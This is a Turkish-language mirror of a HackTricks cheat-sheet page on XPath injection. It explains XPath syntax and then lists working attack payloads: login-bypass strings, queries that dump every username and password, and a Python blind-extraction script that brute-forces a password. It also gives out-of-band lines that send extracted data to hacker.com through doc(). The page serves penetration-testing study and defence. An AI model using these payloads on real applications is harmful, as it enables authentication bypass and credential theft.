mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
323 lines
14 KiB
Markdown
323 lines
14 KiB
Markdown
# XPATH enjeksiyonu
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||
|
||
**Hacking İçgörüleri**\
|
||
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin
|
||
|
||
**Gerçek Zamanlı Hack Haberleri**\
|
||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||
|
||
**En Son Duyurular**\
|
||
Başlatılan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||
|
||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||
|
||
## Temel Sözdizimi
|
||
|
||
XPath Enjeksiyonu olarak bilinen bir saldırı tekniği, XPath (XML Yol Dili) sorgularını kullanıcı girdilerine dayalı olarak oluşturan uygulamalardan faydalanmak için kullanılır.
|
||
|
||
### Tanımlanan Düğümler
|
||
|
||
XML belgesinde çeşitli düğümleri seçmek için ifadeler kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:
|
||
|
||
* **nodename**: "nodename" adındaki tüm düğümler seçilir.
|
||
* **/**: Seçim kök düğümden yapılır.
|
||
* **//**: Mevcut düğümdeki seçime uyan düğümler seçilir, belgedeki konumlarına bakılmaksızın.
|
||
* **.**: Mevcut düğüm seçilir.
|
||
* **..**: Mevcut düğümün üst düğümü seçilir.
|
||
* **@**: Öznitelikler seçilir.
|
||
|
||
### XPath Örnekleri
|
||
|
||
Yol ifadeleri ve sonuçlarına ilişkin örnekler şunları içerir:
|
||
|
||
* **bookstore**: "bookstore" adındaki tüm düğümler seçilir.
|
||
* **/bookstore**: Kök element bookstore seçilir. Bir öğenin mutlak yolunu temsil eden bir yol, bir eğri ile başlayan bir yol ile temsil edilir (/).
|
||
* **bookstore/book**: bookstore'un alt öğeleri olan tüm kitap öğeleri seçilir.
|
||
* **//book**: Belgedeki tüm kitap öğeleri seçilir, konumlarına bakılmaksızın.
|
||
* **bookstore//book**: bookstore öğesinin altında bulunan konumlarına bakılmaksızın tüm kitap öğeleri seçilir.
|
||
* **//@lang**: lang adında tüm öznitelikler seçilir.
|
||
|
||
### Predicat'lerin Kullanımı
|
||
|
||
Seçimleri daraltmak için Predicat'ler kullanılır:
|
||
|
||
* **/bookstore/book\[1]**: bookstore öğesinin ilk kitap öğesi seçilir. IE sürümleri 5 ila 9 için bir çözüm, ilk düğümü \[0] olarak dizinleyen, SelectionLanguage'ın JavaScript aracılığıyla XPath olarak ayarlanmasıdır.
|
||
* **/bookstore/book\[last()]**: bookstore öğesinin son kitap öğesi seçilir.
|
||
* **/bookstore/book\[last()-1]**: bookstore öğesinin sondan bir önceki kitap öğesi seçilir.
|
||
* **/bookstore/book\[position()<3]**: bookstore öğesinin ilk iki kitap öğesi seçilir.
|
||
* **//title\[@lang]**: lang özniteliğine sahip tüm başlık öğeleri seçilir.
|
||
* **//title\[@lang='en']**: "lang" özniteliği değeri "en" olan tüm başlık öğeleri seçilir.
|
||
* **/bookstore/book\[price>35.00]**: 35.00'den büyük bir fiyatı olan bookstore'un tüm kitap öğeleri seçilir.
|
||
* **/bookstore/book\[price>35.00]/title**: 35.00'den büyük bir fiyatı olan bookstore'un kitap öğelerinin tüm başlık öğeleri seçilir.
|
||
|
||
### Bilinmeyen Düğümlerin İşlenmesi
|
||
|
||
Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:
|
||
|
||
* **\***: Herhangi bir öğe düğümüyle eşleşir.
|
||
* **@**\*: Herhangi bir öznitelik düğümüyle eşleşir.
|
||
* **node()**: Herhangi bir türdeki herhangi bir düğümle eşleşir.
|
||
|
||
Diğer örnekler şunları içerir:
|
||
|
||
* **/bookstore/\***: bookstore öğesinin tüm alt öğe düğümleri seçilir.
|
||
* **//\***: Belgedeki tüm öğeler seçilir.
|
||
* **//title\[@\*]**: Herhangi bir türde en az bir özniteliğe sahip tüm başlık öğeleri seçilir.
|
||
|
||
## Örnek
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<data>
|
||
<user>
|
||
<name>pepe</name>
|
||
<password>peponcio</password>
|
||
<account>admin</account>
|
||
</user>
|
||
<user>
|
||
<name>mark</name>
|
||
<password>m12345</password>
|
||
<account>regular</account>
|
||
</user>
|
||
<user>
|
||
<name>fino</name>
|
||
<password>fino2</password>
|
||
<account>regular</account>
|
||
</user>
|
||
</data>
|
||
```
|
||
### Bilgiye Erişim
|
||
```
|
||
All names - [pepe, mark, fino]
|
||
name
|
||
//name
|
||
//name/node()
|
||
//name/child::node()
|
||
user/name
|
||
user//name
|
||
/user/name
|
||
//user/name
|
||
|
||
All values - [pepe, peponcio, admin, mark, ...]
|
||
//user/node()
|
||
//user/child::node()
|
||
|
||
|
||
Positions
|
||
//user[position()=1]/name #pepe
|
||
//user[last()-1]/name #mark
|
||
//user[position()=1]/child::node()[position()=2] #peponcio (password)
|
||
|
||
Functions
|
||
count(//user/node()) #3*3 = 9 (count all values)
|
||
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
|
||
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
|
||
```
|
||
### Şema Tanımlama ve Çalma
|
||
```python
|
||
and count(/*) = 1 #root
|
||
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
|
||
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
|
||
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
|
||
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
|
||
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
|
||
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
|
||
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
|
||
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
|
||
|
||
#The previous solutions are the representation of a schema like the following
|
||
#(at this stage we don't know the name of the tags, but jus the schema)
|
||
<root>
|
||
<a>
|
||
<b></b>
|
||
</a>
|
||
<c>
|
||
<d></d>
|
||
<e></e>
|
||
<f>
|
||
<h></h>
|
||
</f>
|
||
</c>
|
||
</root>
|
||
|
||
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
|
||
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
|
||
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
|
||
|
||
#Stealing the schema via OOB
|
||
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
||
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
||
```
|
||
## Kimlik Doğrulaması Atlatma
|
||
|
||
### **Sorguların Örneği:**
|
||
```
|
||
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
|
||
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
|
||
```
|
||
### **Kullanıcı adı ve şifrede OR atlatma (her ikisi de aynı değerde)**
|
||
```
|
||
' or '1'='1
|
||
" or "1"="1
|
||
' or ''='
|
||
" or ""="
|
||
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
|
||
|
||
Select account
|
||
Select the account using the username and use one of the previous values in the password field
|
||
```
|
||
### **Null enjeksiyonunu kötüye kullanma**
|
||
```
|
||
Username: ' or 1]%00
|
||
```
|
||
### **Kullanıcı adında veya şifrede Çift VEYA** (yalnızca 1 zayıf alanla geçerlidir)
|
||
|
||
ÖNEMLİ: **"ve" işleminin ilk olarak yapıldığına** dikkat edin.
|
||
```
|
||
Bypass with first match
|
||
(This requests are also valid without spaces)
|
||
' or /* or '
|
||
' or "a" or '
|
||
' or 1 or '
|
||
' or true() or '
|
||
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
|
||
|
||
Select account
|
||
'or string-length(name(.))<10 or' #Select account with length(name)<10
|
||
'or contains(name,'adm') or' #Select first account having "adm" in the name
|
||
'or contains(.,'adm') or' #Select first account having "adm" in the current value
|
||
'or position()=2 or' #Select 2º account
|
||
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
|
||
|
||
Select account (name known)
|
||
admin' or '
|
||
admin' or '1'='2
|
||
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
|
||
```
|
||
## Dize çıkarma
|
||
|
||
Çıktı dizeler içerir ve kullanıcı değerleri aramak için manipüle edebilir:
|
||
```
|
||
/user/username[contains(., '+VALUE+')]
|
||
```
|
||
|
||
```
|
||
') or 1=1 or (' #Get all names
|
||
') or 1=1] | //user/password[('')=(' #Get all names and passwords
|
||
') or 2=1] | //user/node()[('')=(' #Get all values
|
||
')] | //./node()[('')=(' #Get all values
|
||
')] | //node()[('')=(' #Get all values
|
||
') or 1=1] | //user/password[('')=(' #Get all names and passwords
|
||
')] | //password%00 #All names and passwords (abusing null injection)
|
||
')]/../*[3][text()!=(' #All the passwords
|
||
')] | //user/*[1] | a[(' #The ID of all users
|
||
')] | //user/*[2] | a[(' #The name of all users
|
||
')] | //user/*[3] | a[(' #The password of all users
|
||
')] | //user/*[4] | a[(' #The account of all users
|
||
```
|
||
## Kör Saldırı
|
||
|
||
### **Bir değerin uzunluğunu alın ve karşılaştırmalarla çıkarın:**
|
||
```bash
|
||
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
||
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
||
|
||
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
|
||
|
||
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
|
||
```
|
||
### **Python Örneği**
|
||
```python
|
||
import requests, string
|
||
|
||
flag = ""
|
||
l = 0
|
||
alphabet = string.ascii_letters + string.digits + "{}_()"
|
||
for i in range(30):
|
||
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
|
||
if ("TRUE_COND" in r.text):
|
||
l = i
|
||
break
|
||
print("[+] Password length: " + str(l))
|
||
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
|
||
for al in alphabet:
|
||
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
|
||
if ("TRUE_COND" in r.text):
|
||
flag += al
|
||
print("[+] Flag: " + flag)
|
||
break
|
||
```
|
||
### Dosya okuma
|
||
```python
|
||
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
||
```
|
||
## OOB Sömürüsü
|
||
```python
|
||
doc(concat("http://hacker.com/oob/", RESULTS))
|
||
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
||
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
|
||
|
||
#Instead of doc() you can use the function doc-available
|
||
doc-available(concat("http://hacker.com/oob/", RESULTS))
|
||
#the doc available will respond true or false depending if the doc exists,
|
||
#user not(doc-available(...)) to invert the result if you need to
|
||
```
|
||
### Otomatik araç
|
||
|
||
* [xcat](https://xcat.readthedocs.io/)
|
||
* [xxxpwn](https://github.com/feakk/xxxpwn)
|
||
* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart)
|
||
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
|
||
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
|
||
|
||
## Referanslar
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
|
||
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
|
||
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
|
||
|
||
**Hacking İçgörüleri**\
|
||
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
|
||
|
||
**Gerçek Zamanlı Hack Haberleri**\
|
||
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
|
||
|
||
**En Son Duyurular**\
|
||
Yeni ödül avcılığı başlatmaları ve önemli platform güncellemeleri hakkında bilgi edinin
|
||
|
||
**Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliğine başlayın!**
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|